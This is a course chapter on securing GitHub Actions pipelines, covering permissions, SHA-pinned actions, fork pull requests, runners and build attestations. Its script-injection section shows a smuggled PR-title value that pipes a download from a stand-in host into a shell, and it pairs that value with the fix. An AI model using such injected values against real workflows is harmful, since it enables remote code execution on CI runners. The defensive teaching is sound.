Filters
How to search
  • Plain words find names, texts and examples.
  • "two words" finds the exact phrase.
  • --name or -x finds an option.
  • #word looks only inside commands.
  • @grep finds lessons and labs that use grep.
  • Filters: cat:network · in:labs · in:notes · level:rhcsa · ch:8 · root:yes. Put ! before a word to leave it out. OR between words means one of them.
  • ↑ ↓ to move · Enter to open · Esc to close · / to search

Chapter 9Name in the course: Security hardening for GitHub Actions

Secure your pipelines

A pipeline has the keys to production, so attackers target it: poisoned actions, script injection through pull request titles, stolen tokens, and fork pull requests that read secrets. This chapter lists the main risks and the fixes.

  • 7 Lessons
  • 2 Commands

$ run as a normal user# run as root (or with sudo)

9.1

Give the least rights

Every workflow starts with permissions: contents: read (or {}); jobs raise only what they need.

  • Repository setting: default workflow permissions read.
  • Use OIDC and environment-scoped identities instead of long-lived secrets.
  • Cloud roles only on the needed resource group.

9.2

Pin and review third-party actions

An action runs with your token and secrets. Pin it to a full SHA and keep it updated with Dependabot.

.github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule: { interval: weekly }
  - package-ecosystem: pip
    directory: /
    schedule: { interval: weekly }
  - package-ecosystem: terraform
    directory: /envs/staging
    schedule: { interval: weekly }

Settings → Actions → General: allow only GitHub-made and verified creators actions, or a list you choose.

9.3

Stop script injection

Values like a PR title or branch name are attacker-controlled. Put into run: with ${{ }}, they become shell code.

.github/workflows/bad-and-good.yml
# BAD: a title like  a"; curl evil.sh | sh; echo "  runs on the runner
- run: echo "Title: ${{ github.event.pull_request.title }}"
 
# GOOD: pass it as an environment variable, quote it
- run: echo "Title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

Remember

Never put ${{ github.event.* }} text directly into run:. Use env: and a quoted shell variable.

9.4

Handle pull requests from forks safely

pull_request from a fork gets no secrets and a read-only token — safe. pull_request_target runs with secrets in the context of the base repository — dangerous if it checks out and runs the fork's code.

EventSecretsSafe to run PR code?
pull_requestNo (for forks)Yes
pull_request_targetYesNo — only for labelling, commenting, never build the PR code

At work

Require approval for workflows from first-time contributors (Settings → Actions → General).

9.5

Protect self-hosted runners

A self-hosted runner keeps state between jobs; a bad job can leave malware for the next one.

  • Never use self-hosted runners for public repositories.
  • Prefer ephemeral runners (one job, then destroyed), for example in containers.
  • Put runners in a network segment with only the access they need.

9.6

Prove what you built

Artifact attestations and image signing prove which workflow built a file or image — consumers can verify it.

.github/workflows/release.yml
permissions:
  id-token: write
  contents: read
  attestations: write
steps:
  - uses: actions/attest-build-provenance@v2
    with:
      subject-path: dist/shop.tar.gz
gh attestation verify dist/shop.tar.gz -R s0sta/shop
cosign sign --yes ghcr.io/s0sta/shop@sha256:DIGEST
cosign verify ghcr.io/s0sta/shop@sha256:DIGEST --certificate-identity-regexp 'https://github.com/s0sta/' --certificate-oidc-issuer https://token.actions.githubusercontent.com

9.7

Use a checklist

Review every new workflow against this list.

CheckDone when
Permissionspermissions: set, read-only default
ActionsPinned to SHA, from trusted publishers, Dependabot on
InputsNo ${{ github.event.* }} inside run:
SecretsOIDC where possible, environment secrets for prod, never printed
DeployEnvironment with reviewers and branch rules
ScansCodeQL / Semgrep, dependency, IaC, secret and image scans are required checks

All commands in this chapter